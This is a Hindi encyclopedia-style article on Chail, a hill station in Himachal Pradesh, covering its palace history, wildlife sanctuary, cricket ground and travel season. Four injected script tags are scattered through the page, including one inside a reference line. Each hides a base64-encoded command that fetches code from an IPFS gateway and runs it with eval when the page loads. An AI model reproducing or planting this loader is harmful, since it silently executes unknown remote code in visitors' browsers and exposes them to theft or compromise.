चैल हिमाचल प्रदेश

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
चैल हिमाचल प्रदेश
चैल, हिमाचल प्रदेश का एक दृश्य
विवरण 'चैल' एक ख़ूबसूरत पहाड़ी स्थान है, जो हिमाचल प्रदेश में स्थित है। अपने आकर्षक स्थानों के साथ चैल ट्रैकिंग और फिशिंग के लिए उत्तम स्थान है।
राज्य हिमाचल प्रदेश
ज़िला सोलन
कब जाएँ मार्च और मई के बीच
कैसे पहुँचें सभी साधन उपलब्ध हैं।
संबंधित लेख हिमाचल प्रदेश, शिमला


विशेष चैल का क्रिकेट और पोलो मैदान भी बहुत प्रसिद्ध है, जो समुद्री तल से 2,444 मीटर ऊँचा है।
अन्य जानकारी पटियाला के महाराजा भूपिंदर सिंह को शिमला से निर्वासित कर दिया गया था। जिसके फलस्वरूप भूपिन्दर सिंह ने चैल को अपनी गीष्मकालीन राजधानी बनाया और यहाँ सुंदर चैल महल का निर्माण करवाया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चैल एक ख़ूबसूरत पहाड़ी स्थान है, जो हिमाचल प्रदेश के सोलन ज़िले में स्थित है। यहाँ का क्रिकेट और पोलो मैदान भी बहुत प्रसिद्ध है। चैल का वन्यजीव अभ्यारण्य भी बहुत ख़ास है, जो वन्यजीव प्रेमियों को अपनी ओर आकर्षित करता है। इस अभ्यारण्य में वन्यजीवों के साथ ही विभिन्न प्रकार के पेड़-पौधे भी पाये जाते हैं।

स्थिति व इतिहास

समुद्र तल से 2,226 मीटर ऊँची और सध टिब पहाड़ी पर स्थित चैल हिमाचल प्रदेश का बहुत ही सुन्दर स्थान है। लॉर्ड किच्नर के आदेश के अनुसार पटियाला के महाराजा, अधिराज भूपिंदर सिंह को शिमला से निर्वासित कर दिया गया था। इसका बदला लेने के लिए भूपिन्दर सिंह ने चैल को अपनी गीष्मकालीन राजधानी बनाया और यहाँ सुंदर चैल महल का निर्माण करवाया।[1]

वन्यजीव अभयारण्य

चैल महल का निर्माण वर्ष 1891 में हुआ था और यह चैल की शाही वीरासत है। इसके अतिरिक्त चैल का वन्यजीव अभयारण्य, जहाँ कई प्रकार के पेड़ पौधे पाए जाते हैं, चैल के प्रमुख आकर्षण का केंद्र हैं। इस अभयारण्य में कई वन्यजीव पाये जाते हैं, जैसे-

  1. इंडियन मुन्टैक
  2. तेंदुआ
  3. कलगीदार साही
  4. जंगली सूअर
  5. गोरल
  6. साम्भर
  7. यूरोपीय लाल हिरण

पर्यटक स्थल

चैल का क्रिकेट और पोलो मैदान भी बहुत प्रसिद्ध है, जो समुद्री तल से 2,444 मीटर ऊँचा है। यह दुनिया का सबसे अधिक ऊँचाई पर स्थित क्रिकेट मैदान है। अब यह चैल सैन्य पाठशाला के अंतर्गत है। गुरुद्वारा साहिब, काली का टिब्बा, महाराजा महल यहाँ के प्रमुख पर्यटक स्थल है। यह ट्रैकिंग और फिशिंग के लिए भी उत्तम स्थान है।[1]

कब और कैसे जाएँ

चैल जाने के लिए सड़क मार्ग, रेल मार्ग और हवाई मार्ग की सेवा उपलब्ध है। इस स्थान को देकने का सबसे बढ़िया समय मार्च और मई के बीच है, जब यहाँ सर्दी होती है। यहाँ का मधुर वातावरण गर्मियों में भी सैलानियों को अपनी ओर आकर्षित करता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वीथिका

चैल हिमाचल प्रदेश

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 चैल- रहस्यमय प्रवास (हिन्दी)। । अभिगमन तिथि: 26 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>